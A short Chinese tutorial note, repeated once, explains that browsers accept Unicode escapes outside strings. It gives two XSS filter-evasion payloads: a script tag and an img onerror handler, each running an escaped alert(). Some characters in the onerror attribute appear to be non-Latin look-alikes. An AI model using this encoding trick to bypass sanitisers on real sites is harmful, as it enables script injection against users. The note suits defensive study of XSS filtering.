在瀏覽器支持的各種字符轉義中,只有Unicode轉義方式可以用在字符串之外的位置,如下例子中的alert(1)
<script>\u0061lert(1);</script>
<img src="#" οnerrοr="javascript:\u0061lert(2)">
此例子支持所有版本的瀏覽器
在瀏覽器支持的各種字符轉義中,只有Unicode轉義方式可以用在字符串之外的位置,如下例子中的alert(1)
<script>\u0061lert(1);</script>
<img src="#" οnerrοr="javascript:\u0061lert(2)">